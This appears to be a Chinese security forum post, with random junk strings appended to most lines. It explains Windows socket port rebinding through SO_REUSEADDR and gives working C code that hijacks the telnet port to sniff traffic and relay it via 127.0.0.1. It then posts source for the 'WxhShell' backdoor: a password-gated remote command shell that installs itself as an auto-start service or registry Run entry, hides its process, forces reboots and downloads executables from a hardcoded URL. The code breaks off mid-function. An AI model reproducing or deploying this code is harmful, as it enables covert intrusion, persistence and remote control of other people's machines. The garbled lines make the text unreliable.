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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $B*Ek>EK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vd SV6p.d  
4<70mUnt  
  saddr.sin_family = AF_INET; #,qw~l]  
WDSkk"#TF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wQ*vcbQX*  
?@(_GrE-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [E2afC>zrl  
cuBOE2vB.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HW"|Hm$Y(  
: +/V  
  这意味着什么?意味着可以进行如下的攻击: cG,B;kMjo  
1s=M3m&H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K/+5$SjF  
K&9|0xt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *ZKI02M  
WHqp7NPl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s,"<+80%  
Bra>C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   <G{m=  
yd`xmc)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v6HBO#F'V{  
iT%aAVs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Va\dMv-b  
MJV)| 2C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i RS )Z )  
?zQ\u{]=  
  #include n wToZxHZ~  
  #include >,y291p2  
  #include W@`Nn*S  
  #include    3)T'&HKQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *O#%hTYq  
  int main() kUmrJBh$  
  { \^iJv ~d  
  WORD wVersionRequested; E08FUAth]#  
  DWORD ret; "'4R _R  
  WSADATA wsaData; uo_Y"QiKEH  
  BOOL val; L|qQZ=  
  SOCKADDR_IN saddr; wW1aG  
  SOCKADDR_IN scaddr; gV):3mWC  
  int err; :mX c|W3  
  SOCKET s; ~_QZiuq&  
  SOCKET sc; X_ne#ZPl  
  int caddsize; 36*"oD=@  
  HANDLE mt; 2#kR1rJP  
  DWORD tid;   dd@^e)VZB  
  wVersionRequested = MAKEWORD( 2, 2 ); 93XTumpV  
  err = WSAStartup( wVersionRequested, &wsaData ); &v Lz{  
  if ( err != 0 ) { ,icgne1j  
  printf("error!WSAStartup failed!\n"); mFjX  
  return -1; ,fpu@@2  
  } e ,/I}W  
  saddr.sin_family = AF_INET; 5:Pp62  
   <h4"^9hL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Uy5IvG;O+  
/WRS6n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2BXpk^d5y  
  saddr.sin_port = htons(23); z~L''X7g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Al09R,I;  
  { C$vKRg\o  
  printf("error!socket failed!\n"); A`T VV  
  return -1; )y\^5>p[  
  } Ds9pXgU( Z  
  val = TRUE; od{Y` .<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 TUIj-HSe  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *&q\)\(3w  
  { WM.JoQ  
  printf("error!setsockopt failed!\n"); KiT>W~  
  return -1; ,a eQXI#@  
  } 8;ke,x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S(.AE@U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  iE=Yh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =<e|<EwSZ  
(wEaa'XL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) L@HPU;<  
  { l_hM,]T0  
  ret=GetLastError(); P,k~! F^L  
  printf("error!bind failed!\n"); swYlp  
  return -1; kQ 7$,K#  
  } mTz %;+|L  
  listen(s,2); 0; 2i"mzS\  
  while(1) :'91qA%Wr  
  { D*6v.`]X  
  caddsize = sizeof(scaddr); mcy\nAf5%  
  //接受连接请求 L3JFQc/oh~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); % obR2%  
  if(sc!=INVALID_SOCKET) %'a%ynFs  
  { 1uZ[Ewl]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (MY#;v\AYE  
  if(mt==NULL) n1m[7s.[&  
  { FB9PIsFS  
  printf("Thread Creat Failed!\n"); /vll*}}  
  break; z6ISJb  
  } DZ92;m  
  } &)JQ6J_|\  
  CloseHandle(mt); =.(yOUI  
  } >A5R  
  closesocket(s); lYmqFd~p  
  WSACleanup(); (4cWq!ax<$  
  return 0; ^q5~;_z|  
  }   3('=+d[}Vw  
  DWORD WINAPI ClientThread(LPVOID lpParam) px %xoY  
  { 26PUO$&b.  
  SOCKET ss = (SOCKET)lpParam; X1&Ug ^  
  SOCKET sc; <nlZ?~%}  
  unsigned char buf[4096]; _BO:~x  
  SOCKADDR_IN saddr; LSQWveZz  
  long num; ^u&oS1U  
  DWORD val; oW(lQ'"  
  DWORD ret; gyj.M`+y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1 rKKph  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   u\wdb^8ds  
  saddr.sin_family = AF_INET; T]Z|Wq`bot  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s:3 altv  
  saddr.sin_port = htons(23); #"-?+F=rk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5Ds/^fA  
  { 0D/u`-  
  printf("error!socket failed!\n"); 'KB\K)cD=3  
  return -1; 6zh<PETa03  
  } lffp\v{w  
  val = 100; Hy ^E m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;*1bTdB5a  
  { uPKq<hBI  
  ret = GetLastError(); <_$]!Z6UR  
  return -1; ?j;e/r.  
  } (MhC83|?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pd{W(M78g  
  { K]ob>wPf  
  ret = GetLastError(); nw swy]e8/  
  return -1; }P(RGKQ Z"  
  } :xJ]# t..  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qX{"R.d  
  { oNQ;9&Z,^2  
  printf("error!socket connect failed!\n"); wgfA\7Z  
  closesocket(sc); .] mYpz  
  closesocket(ss); 9qN4f8R  
  return -1; A<P3X/i  
  } bwo-9B  
  while(1) KiYO,nD;\  
  { 1c_gh12  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^ CVhV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cpvN }G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9<u^.w  
  num = recv(ss,buf,4096,0); @Gp=9\L  
  if(num>0) ?PVJeFH  
  send(sc,buf,num,0); Mx<z34(T  
  else if(num==0) @)s;u}H  
  break; Ot}fGiio  
  num = recv(sc,buf,4096,0); )OQhtxK  
  if(num>0) WeDeD\zy  
  send(ss,buf,num,0); maAZI-H{  
  else if(num==0) L1=3_fO  
  break; L08>9tf`  
  } Y$xO&\&)  
  closesocket(ss); jy@vz,/:%5  
  closesocket(sc); D`p&`]k3v  
  return 0 ; [M>Md-pj  
  } dp`xyBQ3  
8|^dM$  
NbOeF7cq+  
========================================================== T'\B17 :*  
!OWPwBm;  
下边附上一个代码,,WXhSHELL xw_VK1  
h4rIt3`  
========================================================== vvA=:J4/i)  
(t&]u7Atr  
#include "stdafx.h" j.FA!4L  
4w,=6|#  
#include <stdio.h> .N2yn`  
#include <string.h> HR)Dz~Obw  
#include <windows.h> 5\93-e  
#include <winsock2.h> s2f9 5<B  
#include <winsvc.h> J)1:jieQ  
#include <urlmon.h> ~^d. zIN!  
UjibQl 3:m  
#pragma comment (lib, "Ws2_32.lib") 272j$T  
#pragma comment (lib, "urlmon.lib") C yg e  
#o Rm-yDr  
#define MAX_USER   100 // 最大客户端连接数 +./c=o/v  
#define BUF_SOCK   200 // sock buffer XMhDx  
#define KEY_BUFF   255 // 输入 buffer Y[%1?CREP  
HScj  
#define REBOOT     0   // 重启 +|}R^x`z  
#define SHUTDOWN   1   // 关机 :g)0-gN   
k. bzh.  
#define DEF_PORT   5000 // 监听端口 E)==!T@E  
n]M1'yU  
#define REG_LEN     16   // 注册表键长度 \b {Aj,6,  
#define SVC_LEN     80   // NT服务名长度 u I$| M  
OLXkiesK{  
// 从dll定义API s_]p6M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $=dp)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V]b1cDx{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &<I*;z6%t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *r!f! eA:  
{ 3``To$  
// wxhshell配置信息 m87,N~DP  
struct WSCFG { k=w;jX&;`  
  int ws_port;         // 监听端口 mk>L:+  
  char ws_passstr[REG_LEN]; // 口令 -H1mKZDPP  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2p\CCzw  
  char ws_regname[REG_LEN]; // 注册表键名 ~wnTl[:  
  char ws_svcname[REG_LEN]; // 服务名 &gJKJ=7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }~P%S(zB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fDc>E+,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [8*Ovd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cBf9-k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;t!n%SnK9!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,h21 h?6  
' Cy^G;  
}; /lAB  
 >)ZX  
// default Wxhshell configuration =`2nv0%2  
struct WSCFG wscfg={DEF_PORT, CU =}]Y  
    "xuhuanlingzhe", P.*J'q 28  
    1, nb(4"|8}  
    "Wxhshell", RZ)sCR  
    "Wxhshell", B5J!&suX  
            "WxhShell Service", QS2J271E}  
    "Wrsky Windows CmdShell Service", [?)=3Pp  
    "Please Input Your Password: ", Gd0-}4S?  
  1, DO<eBq\O  
  "http://www.wrsky.com/wxhshell.exe", `abQlBb*  
  "Wxhshell.exe" j]7|5mC78  
    }; {Z[yY6Nu  
c>fLSf  
// 消息定义模块 F-}-/N]o q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :LRR\v0HM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TJ(PTB;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _'&N01  
char *msg_ws_ext="\n\rExit."; '!`%!Xg  
char *msg_ws_end="\n\rQuit."; e;b,7Qw  
char *msg_ws_boot="\n\rReboot..."; L(!4e  
char *msg_ws_poff="\n\rShutdown..."; iO=xx|d  
char *msg_ws_down="\n\rSave to "; fr'M)ox1  
UnNvlkjq9  
char *msg_ws_err="\n\rErr!"; )#-27Y  
char *msg_ws_ok="\n\rOK!"; 4GJ1P2  
'B}pIx6k~  
char ExeFile[MAX_PATH]; tf64<j6  
int nUser = 0; D|I(2%aC  
HANDLE handles[MAX_USER]; kTQ:k }%B  
int OsIsNt; A7U'>r_.  
/nXp5g^6(  
SERVICE_STATUS       serviceStatus; &{QB}r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &SS"A*xg  
k5G(7Ug=g~  
// 函数声明 >yvP[$]!6  
int Install(void); !mFo:nQ)}  
int Uninstall(void); f uojf+i  
int DownloadFile(char *sURL, SOCKET wsh); ja$>>5<q  
int Boot(int flag); WujIaJt-  
void HideProc(void); }_XW?^/8  
int GetOsVer(void); (^GVy=  
int Wxhshell(SOCKET wsl); Myss$gt}  
void TalkWithClient(void *cs); khT&[!J{>  
int CmdShell(SOCKET sock); ,CW]d#P|  
int StartFromService(void); o D;  
int StartWxhshell(LPSTR lpCmdLine); ,2S <#p!  
/2^cty.BXw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J*6I@_{/ U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E%ea o$  
>(z{1'f{  
// 数据结构和表定义 .fcU&t  
SERVICE_TABLE_ENTRY DispatchTable[] = |Y3!Lix  
{ hZnT`!iFE^  
{wscfg.ws_svcname, NTServiceMain}, -Nmf}`_  
{NULL, NULL} KsYT3  
}; A/N*Nc  
zO{$kT\r&  
// 自我安装 hTI8hh  
int Install(void) .;WJ(kB\U  
{ (ohkM`83k  
  char svExeFile[MAX_PATH]; THH rGvb  
  HKEY key; 3(P^PP8  
  strcpy(svExeFile,ExeFile); 475yX-A  
 N>`+{  
// 如果是win9x系统,修改注册表设为自启动 "M6a_rZ2W  
if(!OsIsNt) { #1Mk9sxo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EZ #UdK_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !s,<h U#  
  RegCloseKey(key); O;[PEV ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K-wjQ|*1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A{h hnrr8  
  RegCloseKey(key); , >Y. !  
  return 0; _yjM_ALjo  
    } $m/-E#I #Z  
  } U[d/ `  
} FcIH<_r  
else { $}oQ=+c5  
e<5+&Cj  
// 如果是NT以上系统,安装为系统服务 N&NOh|YS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V2es.I  
if (schSCManager!=0) :{4G= UbAI  
{ 6bnAVTL5  
  SC_HANDLE schService = CreateService ..FUg"sSO  
  ( IZ')1  
  schSCManager, )|LX_kyW  
  wscfg.ws_svcname, /og}e~q  
  wscfg.ws_svcdisp, wlqV1.K  
  SERVICE_ALL_ACCESS, u#p1W|\4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M)Rp+uQ  
  SERVICE_AUTO_START, ,2JqX>On>Y  
  SERVICE_ERROR_NORMAL, ~m!>e])P?X  
  svExeFile, qq-&z6;$  
  NULL, g|<)J-`Q  
  NULL, =khjD[muC  
  NULL, 3FUZTX]Q1  
  NULL, \$;\,p p  
  NULL P@9>4}r$  
  ); ,<hXNN  
  if (schService!=0) )I]E%ut{4,  
  { Tp`)cdcC[  
  CloseServiceHandle(schService); >|0yH9af  
  CloseServiceHandle(schSCManager); d!8q+FI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1ISA^< M  
  strcat(svExeFile,wscfg.ws_svcname); Qm`f5-d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uW>AH@Pij  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M0Z>$Az]t  
  RegCloseKey(key); _WK+BxH  
  return 0; QZ{&7mc>  
    } NJqALm!(  
  } (m;P,*  
  CloseServiceHandle(schSCManager); !qrF=a  
} d\;M F  
} dMGu9k~u  
3\=8tg p  
return 1; HKOJkbVZ2^  
} u MzefRN  
Aog 3d\1$  
// 自我卸载 :^%s oEi  
int Uninstall(void) j,/o0k,  
{ ~ $r^Ur!E\  
  HKEY key; W<!q>8Xn?  
BCUw"R#  
if(!OsIsNt) { P05_\ t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EVO5+  
  RegDeleteValue(key,wscfg.ws_regname); s^C*uP;R  
  RegCloseKey(key); `m2F.^qrr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DDAqgx  
  RegDeleteValue(key,wscfg.ws_regname); $#R.+B  
  RegCloseKey(key); W\eB   
  return 0; w2{k0MW  
  } /2'\ya4B  
} nr&G4t+%Hv  
} z*yN*M6t  
else { {h9#JMIA  
);))kYr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zN5i}U=|r  
if (schSCManager!=0) e}[$ =  
{ 4] ?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oPa2GW8  
  if (schService!=0) *qOo,e  
  { Ix:aHl  
  if(DeleteService(schService)!=0) { g-^CuXic  
  CloseServiceHandle(schService); }$qy_Esl  
  CloseServiceHandle(schSCManager); "Wi`S;  
  return 0; &}T`[ d_Z  
  } )>\Ne~%  
  CloseServiceHandle(schService); ,?&hqM\  
  } (3]7[h7  
  CloseServiceHandle(schSCManager); WDzov9ot  
} NmB0CbB  
} rcI(6P<*  
;uoH+`pf  
return 1; K?I@'B'  
} "#4PU5.  
-D!F|&$  
// 从指定url下载文件 I*lq0&  
int DownloadFile(char *sURL, SOCKET wsh) Ch;EnN<  
{ gEi" m5po  
  HRESULT hr; q,:\i+>K*  
char seps[]= "/"; O)9T|, U  
char *token; PI?-gc?[  
char *file; JC=Bxv  
char myURL[MAX_PATH]; 8: s3Q`O  
char myFILE[MAX_PATH]; Z]SCIU @+  
Nm,v E7M  
strcpy(myURL,sURL); <[~x]-  
  token=strtok(myURL,seps); Hlz4f+#I  
  while(token!=NULL) +!_^MBkk  
  { ;U20g:K  
    file=token; |;D[Al5AMc  
  token=strtok(NULL,seps); 55$by.rf?  
  } ).ugMuk  
PFPfLxna  
GetCurrentDirectory(MAX_PATH,myFILE); 1Eg}qU,:  
strcat(myFILE, "\\"); 3I"&Qp%2  
strcat(myFILE, file); K] Eq"3  
  send(wsh,myFILE,strlen(myFILE),0); sS-5W-&P{T  
send(wsh,"...",3,0); c&0IJ7fZG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Pi8U}lG;  
  if(hr==S_OK) gpw(j0/Fs  
return 0; /u #9M {  
else 'kh%^_FH7  
return 1; ahV_4;yF  
(b{ {B$O  
} {.!:T+'Xi\  
mDM]RAub)  
// 系统电源模块 "jeJV,%  
int Boot(int flag) -Q$$2QW!  
{ 5n9F\T5  
  HANDLE hToken; sWX   
  TOKEN_PRIVILEGES tkp; KO5Q;H  
" g_\W  
  if(OsIsNt) { BV!Kiw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `E|IMUB~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pnqjAT GU  
    tkp.PrivilegeCount = 1; &rNXn?>b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hy `r}+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @EZXPU  
if(flag==REBOOT) { g` h>:5]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q]|+Y0y}X  
  return 0; .qVdo+M%F  
} VWMCbg>R  
else { LZoth+:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x%(!+  
  return 0; ikxSWO_Y=  
} M.IV{gj  
  } Lqch~@E&%#  
  else { . }=;]=  
if(flag==REBOOT) { 3)3'-wu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %hTe%(e  
  return 0; Z2$-},i  
} IvO3*{k ,  
else { i5AhF\7F9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .4^Paxz  
  return 0; 3[e@mcO  
} 1:&$0jU&U  
} u5,IH2BU  
}Ns_RS$  
return 1; db4&?55Q  
} P0z "Eq0S  
b uhxC5i%  
// win9x进程隐藏模块 ]Ny]Ox<  
void HideProc(void) I 9u=RI s  
{ Jz|(B_U  
xv%}xeE V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RV($G8U  
  if ( hKernel != NULL ) 6g.@I!j E  
  { )b-G2< kb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zh4o<f:-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R -h7c!ko  
    FreeLibrary(hKernel); Tl1?5  
  } ~]yqJYiid^  
3AB5Qs<  
return; ~}M{[6!  
} keWgbj  
"Km`B1f`  
// 获取操作系统版本 K3Xy%pqR#  
int GetOsVer(void) a%]p*X!  
{ 2xnOWW   
  OSVERSIONINFO winfo; h T Xc0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); brVT  
  GetVersionEx(&winfo); :heJ5* !,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A%2!Hr  
  return 1; l%U9g  
  else tou^p-)GQ|  
  return 0; %!=YNm  
} u( o@_6  
7dakj>JM  
// 客户端句柄模块 C9nNziws  
int Wxhshell(SOCKET wsl) !*cf}<Kmw  
{ },"g*  
  SOCKET wsh; mb/3 #)  
  struct sockaddr_in client; O^<6`ku  
  DWORD myID; P9'5=e@jB  
e-s@@k  
  while(nUser<MAX_USER) Vnl~AQfk|  
{ #2MwmIeA  
  int nSize=sizeof(client); h\dIp`H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h!Q >h7  
  if(wsh==INVALID_SOCKET) return 1; IR>K ka(B  
"E8!{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LNg1q1 P3  
if(handles[nUser]==0) K)14v;@  
  closesocket(wsh); rvG qUmSUs  
else cK258mY  
  nUser++; NMDNls&)k  
  } O]Hg4">f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?y '.sQ  
Oh^X^*I$@  
  return 0; 8%NX)hZyq}  
} q"cFw${  
|z4/4Y@  
// 关闭 socket H}@|ucM"\  
void CloseIt(SOCKET wsh) 2KG j !w  
{ p<+]+,|\~:  
closesocket(wsh); f*I5 m=  
nUser--; F;ZLoG*U  
ExitThread(0); y#MLxm  
} a=J?[qrx  
C VUDN2  
// 客户端请求句柄 A1@-;/H3  
void TalkWithClient(void *cs) -Rvxjy)[N  
{ .dfTv/n  
3}+/\:q*  
  SOCKET wsh=(SOCKET)cs; X}!_p& WI  
  char pwd[SVC_LEN]; U!'lc} 5  
  char cmd[KEY_BUFF]; %MIu;u FR  
char chr[1]; = MXF`k^}  
int i,j; *K)v&}uw  
;z?XT \C$  
  while (nUser < MAX_USER) { 2iGRw4`_a  
w iq{ Jo#  
if(wscfg.ws_passstr) { }iC~B}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :@/fy}!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pqs)ueu  
  //ZeroMemory(pwd,KEY_BUFF); W@G[ gS\T  
      i=0; i~,k2*o  
  while(i<SVC_LEN) { Zu$f[U)X  
Za} |Ee  
  // 设置超时 ke%zp-2c  
  fd_set FdRead; 06`__$@h  
  struct timeval TimeOut; _(jE](,  
  FD_ZERO(&FdRead); UqHOS{\Sz  
  FD_SET(wsh,&FdRead); Z 0:2x(x9  
  TimeOut.tv_sec=8; JTI m`t"d=  
  TimeOut.tv_usec=0; . 9 NS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q! ,do2T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EK'&S=]  
`~RV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wx!*fy4hL  
  pwd=chr[0]; T/K.'92S  
  if(chr[0]==0xd || chr[0]==0xa) { $i1A470C  
  pwd=0; \(C W?9)  
  break; }.'%gJrS  
  } !vB%Q$!x  
  i++; 5B2,=?+o  
    } Yyo|W;a]  
z>{KeX:  
  // 如果是非法用户,关闭 socket EH:1Z*|Z{\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q^cFD  
} C0W~Tk\C2  
v Y\O=TZT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |x4yPYBL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9JtvHUkO  
N|j. @K  
while(1) { RmQt%a7\{  
 LJ))  
  ZeroMemory(cmd,KEY_BUFF); e.+)0)A-  
<It7s1O  
      // 自动支持客户端 telnet标准   jysV%q 3  
  j=0; Dmi;# WY  
  while(j<KEY_BUFF) { >SJ$41"E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]~zJ7I  
  cmd[j]=chr[0]; JXAyF6 $  
  if(chr[0]==0xa || chr[0]==0xd) { zJ:r0Bt  
  cmd[j]=0; &>jkfG  
  break; C{Ug ?hVP  
  } U{_s1  
  j++; 7`/qL "  
    } rrWk&;?  
L8zqLD i&  
  // 下载文件 a7|&Tbv  
  if(strstr(cmd,"http://")) { ;40m goN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <f6PULm  
  if(DownloadFile(cmd,wsh)) *\WI!%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Y;gMrp  
  else @e,Zmx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O}-7 V5  
  } {|h"/   
  else { Qzhnob#C9  
-X[[ OR9+  
    switch(cmd[0]) { \?^wu  
  PQ]9xzOg[  
  // 帮助 AL7O-D  
  case '?': { O-5U|wA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h yKg=Foq  
    break; Zsogx}i-  
  } w2+]C&B*  
  // 安装 #}(Df&  
  case 'i': { |w2AB7EU  
    if(Install()) }# x3IE6'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 55LF  
    else 1hyah.i]Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q/n.T0Z ^  
    break; 1^#Q/J,  
    } t"p#ii a  
  // 卸载 ]M(f^   
  case 'r': { 9u@h`  
    if(Uninstall()) A4FDR#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); emB D@r  
    else -ikuj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :"^< aLj  
    break; PL$F;d  
    } UMwMXmZNJ  
  // 显示 wxhshell 所在路径 ~ p.W*skD  
  case 'p': { k#5e:VOb  
    char svExeFile[MAX_PATH]; a.IF%hP0xo  
    strcpy(svExeFile,"\n\r"); Y^Q|l%Qrb  
      strcat(svExeFile,ExeFile); ?1:/ 6  
        send(wsh,svExeFile,strlen(svExeFile),0); |a$w;s>\  
    break; Z{4aGp*  
    } AdW2o|Uap  
  // 重启 rOHW  
  case 'b': { TQd FC\@f"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q|KD/s??  
    if(Boot(REBOOT)) &] F|U3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ><MgIV  
    else { }!<cph  
    closesocket(wsh); _`{{39 F  
    ExitThread(0); 5b`xN!c  
    } 25c!-.5D  
    break; .0E4c8R\X  
    } R(83E B~_  
  // 关机 nvK7*-  
  case 'd': { <`_OpNxqW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); niEEm`"  
    if(Boot(SHUTDOWN)) fKz"z{\,0  
